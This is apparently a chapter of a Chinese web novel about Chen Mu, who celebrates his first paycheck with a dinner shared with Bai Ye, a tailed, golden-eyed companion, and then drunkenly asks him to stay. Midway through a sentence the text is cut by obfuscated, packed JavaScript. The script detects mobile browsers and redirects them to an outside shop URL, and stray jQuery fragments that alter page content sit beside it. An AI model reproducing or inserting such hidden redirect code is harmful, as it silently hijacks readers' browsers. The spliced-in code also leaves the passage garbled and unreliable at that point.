周五下午,陈木的手机在桌子上震了一下。
他正在整理一份合同,眼睛盯着屏幕上的条款,手边的手机亮起来的时候,他侧过头看了一眼。
是一条短信,银行的,通知他工资已到账。他的拇指在屏幕上方停了一秒,然后他放下鼠标,拿起手机,点开了那条通知。
数字不大。
他只干了一周,扣除社保之后到手的钱不算多,但他盯着那行数字看了好几秒,嘴角动了一下。
他靠进椅背里,把手机举到眼前又看了一遍,给王姨转账了2500,然后锁屏,放回桌上。
他拿起鼠标继续整理合同,但手指敲击的频率比刚才快了那么一点点,像一台刚刚被调快了速度的钟。
下班的时候他比平时走得晚了一些。
他绕路去了小区附近的菜市场,买了两个西红柿、一小把青菜、一盒鸡蛋、一袋挂面,又拐进超市提了一袋速冻饺子、一小袋牛肉。
路过酒水货架的时候他停了一下,看着那一排啤酒瓶,然后弯腰拿了两罐。绿罐的,易拉罐装的。
他推开家门的时候,客厅的灯亮着。
柏夜坐在沙发上,手里拿着那本旧杂志——他已经翻到了中间的部分,书脊的折痕比前几天更深了一些。
他听到门响,抬起眼看向门口的方向,金色的眼睛在灯光下亮了一下,然后把杂志合上放在茶几上,尾巴从沙发边缘垂下来,尾尖轻轻晃了一下。
陈木站在门口,换鞋的时候看了一眼茶几上那本杂志的位置。
他没有说什么,提着那袋东西走进厨房,把食材一样一样取出来放在料理台上。
柏夜从沙发上站起来,走到厨房门口,靠着门框看着陈木把东西一样一样摆好。他看着那三罐啤酒在料理台上排成一排,玻璃瓶在灯光下泛着润泽的光,然后他的目光移回陈木的侧脸上。
"今天是什么日子?"
陈木没有抬头。他把一盒鸡蛋放进冰箱,关上门,然后转过身来看着柏夜。他的手指搭在冰箱门把手上,指节微微用力,像是在确认自己接下来要说的话。
"发工资了。"
柏夜看着他:"你才工作了一周。"
"……一周也有工资。"
他说完转回身,打开水龙头开始洗菜,水流声填满了厨房的安静。
柏夜靠在门框边又站了一会儿,然后走进来,站到他旁边,伸手从料理台上拿起一个西红柿,放在水龙头下面冲洗。
他的手指在水流里翻动着那个西红柿,动作不快不慢,像是在做一件他刚刚学会但已经记得很熟的事。
两个人站在水池前面,一个洗菜一个递菜,水流声和他们手边碰触碗沿的细碎声响在厨房里安静地回荡着。他们就那么并肩站着,一个人的肩膀偶尔碰到另一个人的手臂,每一次触碰都很快弹开,然后又会在下一次递菜的时候重新贴上去。
晚饭做好的时候已经接近七点了。
两碗西红柿鸡蛋面放在餐桌上,旁边摆着一盘牛肉和一碟速冻饺子,两罐啤酒并排放在桌子中间。
陈木坐下来的时候,隔着餐桌看了柏夜一眼——柏夜坐在他对面,手里捏着一双筷子,低头看着自己碗里冒着热气的面条。
陈木伸手拿起一罐啤酒,拉开拉环。气体从罐口溢出来,发出一声极轻的"嘶",然后他端起罐子,没有碰杯,自己喝了一口。
冰凉的味道从舌尖一直滑到喉咙深处,他咽下去之后看着柏夜,后者正把一筷子面条送进嘴里,嚼了两下,然后抬起眼来看着他。
"你不喝?"
柏夜摇头:"不喝。"
"为什么?"
"……不喜欢。"
陈木没有继续问。
他吃到一半的时候看到柏夜的目光落在自己脸上,像是在看什么东西。
"你看着我做什么?"陈木问。
柏夜没有移开目光:"你耳朵红了。"
陈木愣了一下。他抬起手碰了一下自己的耳朵,指尖碰到的地方确实有些发烫,他放下手,又夹了一筷子面塞进嘴里,嚼了两下咽下去,然后他又拿起啤酒罐,喝了一口,没有接话。
吃到快结束的时候,陈木忽然停住了。他手里还捏着那罐啤酒,目光落在柏夜的肩头后方,那面墙上贴着几张便利贴,最近的一张已经褪色了。
他想到了一件事——柏夜来他家第一天,他花了一笔钱。牛奶、火腿肠、一份巴沙鱼外卖,总共28块8。
他想了一会儿,然后笑了。很轻的,嘴角弯了一瞬又压回去,但那个弧度被柏夜捕捉到了。
"你笑什么?"柏夜问。
陈木看了他一眼,收回目光,又夹了一筷子牛肉放进嘴里。他嚼完了那口牛肉,然后抬起头看着柏夜,嘴角还残留着刚才那一点没完全压下去的弧度,他没说话。
这明显是在学柏夜。
柏夜看了他一会儿,金色的眼睛在灯光下微微眯了一下,那是他"被噎到了但懒得追问"时的表情。
然后他也低下头继续吃面,但尾巴从桌沿垂下去之后在空气里极其轻微地晃了一下。
客厅的灯光从门口照进来,在两个人之间的地面上铺了一小片暖黄色的光。
陈木喝了一口啤酒,喝完之后他没有放下罐子,就那么握着,看着柏夜的脸。
"柏夜。"他开口。
"……我这几天一直在想一件事。"陈木说。
他的声音比平时低了一些,带着一点酒意,尾音比平时更软。
他的耳朵还红着,从耳尖一直红到耳垂,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735572|209045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在客厅的灯光下看得清清楚楚。他目光停在柏夜脸上,看了很久。
"你之前问过我,我想你回来吗。"他说。
柏夜愣了一下。他的尾巴抬起来,尾尖轻轻弯了一下。然后他开口了:"你喝醉了。"
"……我没有。"陈木说。
但是非常明显——陈木高估了自己。啤酒还没喝几口,陈木已经开始隐隐头晕了。
他看着那道阴影,然后说了一句话——声音比刚才更低,轻到像是说给自己听的。
"……我想你回来。"
柏夜听到那五个字的时候,尾巴收紧了一点。
然后陈木把自己的经历讲了一遍。他没有说很多,只是挑了最紧要的——小时候的事、搬家的事、高考后填了离家最远的大学、搬出来之后再也没有回去。
他说到"她每个月都会转1500给我"的时候停了一下,然后又接了下去。尾音里没有哭腔,没有颤抖,他只是平铺直叙,像是在讲一件已经发生了很久、已经变得很轻的事。
柏夜从头到尾没有打断他。等到陈木说完之后安静了很久。窗外的夜色已经全黑了,路灯的光从窗帘缝隙里透进来。
然后陈木想站起身,膝盖却弯了半寸,整个人朝左侧偏过去。
柏夜注意到了,在他偏过去的瞬间立即起身伸出手,一只手扶住他的手肘,另一只手扣住他的肩膀,把他稳稳地扶住了。
陈木站稳之后,抬起头看着柏夜。那很近,近到他能看到柏夜眼底那一小圈琥珀色的光芒在灯下亮着,像两枚被水洗过的硬币。
"柏夜。"
他脱口而出。那两个字像是不需要经过任何关卡,直接从胸腔深处冒出来的。
柏夜应了一声:"……嗯。"
声音不高不低,尾音落得平而轻。
他没有松开扶着陈木肩膀的那只手,也没有松开扶着他手肘的那只手。
他保持着那个姿势,等陈木站稳了,然后他微微弯了一下腰,一只手环过陈木的后背,另一只手穿过他的膝弯,把他抱了起来。
陈木的身体在半空中微微蜷了一下,他没有挣扎,他靠上柏夜的肩头,手臂自然地环住了柏夜的脖颈。
他的脸贴着柏夜的颈侧,呼吸落在柏夜的锁骨上方,带着一点酒精的温度和重量。柏夜抱着他走出厨房,走进卧室,把他放在床上。
柏夜直起身,转身要走。他的尾巴从床沿扫过去,然后他的手腕被抓住了。
那一下力气不大,但位置很准。陈木的手指扣在他的手腕内侧,指腹贴着皮肤。柏夜停住了,他侧过头,看到陈木还躺在枕头上,看着他。
"别走。"陈木说,"陪我,好不好……"
柏夜看了他两秒,然后他在床沿上坐了下来:“好。”